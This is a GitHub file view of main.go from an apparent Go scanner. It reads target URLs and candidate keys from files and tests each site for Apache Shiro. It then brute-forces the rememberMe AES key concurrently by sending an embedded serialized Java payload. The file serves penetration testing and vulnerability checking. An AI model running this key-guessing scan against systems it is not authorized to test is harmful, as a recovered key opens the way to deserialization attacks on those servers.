-
Notifications
You must be signed in to change notification settings - Fork 45
/
Copy pathmain.go
146 lines (133 loc) · 3.72 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
package main
import (
"bufio"
"encoding/base64"
"flag"
"fmt"
"io"
"os"
"strings"
"sync"
"time"
)
var wg sync.WaitGroup
func GetCommandArgs() {
flag.StringVar(&UserAgent, "ua", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "User-Agent")
flag.StringVar(&UrlFile, "f", "", "Target urls")
flag.StringVar(&Method, "m", "GET", "Request Method")
flag.StringVar(&PostContent, "content", "", "POST Method Content")
flag.IntVar(&Timeout, "timeout", 3, "Request timeout time(s)")
flag.IntVar(&Interval, "interval", 0, "Each request interval time(s)")
flag.StringVar(&HttpProxy, "proxy", "", "Set up http proxy e.g. http://127.0.0.1:8080")
flag.StringVar(&SKey, "k", "", "Specify the keys file")
flag.StringVar(&AesMode, "mode", "", "Specify CBC or GCM encryption mode")
flag.IntVar(&t, "t", 50, "Number of goroutines")
flag.StringVar(&CheckContent, "chk", "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==", "Check Content")
flag.StringVar(&NRemeberMe, "rm", "rememberMe", "Name of rememberMe")
flag.StringVar(&OutPutfile, "o", "", "out filename")
flag.Parse()
}
var outchan = make(chan string)
func StartTask(TargetUrl string) {
if !ShiroCheck(TargetUrl) {
_, result := KeyCheck(TargetUrl)
outchan <- fmt.Sprintln(TargetUrl, ": \n", result)
} else {
outchan <- fmt.Sprintln(TargetUrl, ": ", "Shiro not exist!")
}
}
func ShiroCheck(TargetUrl string) bool {
ok, _ := HttpRequest("wotaifu", TargetUrl)
return ok
}
func KeyCheck(TargetUrl string) (bool, string) {
Content, _ := base64.StdEncoding.DecodeString(CheckContent)
isFind, Result := false, ""
isFind = false
for i := range ShiroKeys {
time.Sleep(time.Duration(Interval) * time.Second)
isFind, Result = FindTheKey(ShiroKeys[i], Content, TargetUrl)
if isFind {
break
}
}
return isFind, Result
}
func main() {
GetCommandArgs()
if UrlFile != "" {
if SKey != "" {
KeyF, err := os.Open(SKey)
if err != nil {
panic(err)
}
defer KeyF.Close()
krd := bufio.NewReader(KeyF)
for {
UnFormatted, _, err := krd.ReadLine()
if err == io.EOF {
break
}
if len(UnFormatted) > 0 {
ShiroKeys = append(ShiroKeys, string(UnFormatted))
}
}
}
//work goroutines
var workurl = make(chan string)
for i := 0; i < t; i++ {
go func() {
for url := range workurl {
StartTask(url)
wg.Done()
}
}()
}
//out goroutines
var outf *os.File
var err error
if OutPutfile != "" {
outf, err = os.OpenFile(OutPutfile, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)
if err != nil {
fmt.Println("[Error] OutFile (-o) must be specified.")
os.Exit(1)
}
defer outf.Close()
}
go func() {
for outStr := range outchan {
fmt.Print(outStr)
if outf != nil {
outf.WriteString(outStr)
outf.Sync()
}
}
}()
UrlF, err := os.Open(UrlFile)
if err != nil {
panic(err)
}
defer UrlF.Close()
rd := bufio.NewReader(UrlF)
startTime := time.Now()
for {
UnFormatted, _, err := rd.ReadLine()
if err == io.EOF {
break
}
TargetUrl := string(UnFormatted)
if !strings.Contains(TargetUrl, "http://") && !strings.Contains(TargetUrl, "https://") {
TargetUrl = "https://" + TargetUrl
}
wg.Add(1)
workurl <- TargetUrl
}
wg.Wait()
endTime := time.Since(startTime)
fmt.Println("Done! Time used:", int(endTime.Minutes()), "m", int(endTime.Seconds())%60, "s")
} else {
flag.Usage()
fmt.Println("[Error] UrlFile (-f) must be specified.")
os.Exit(1)
}
}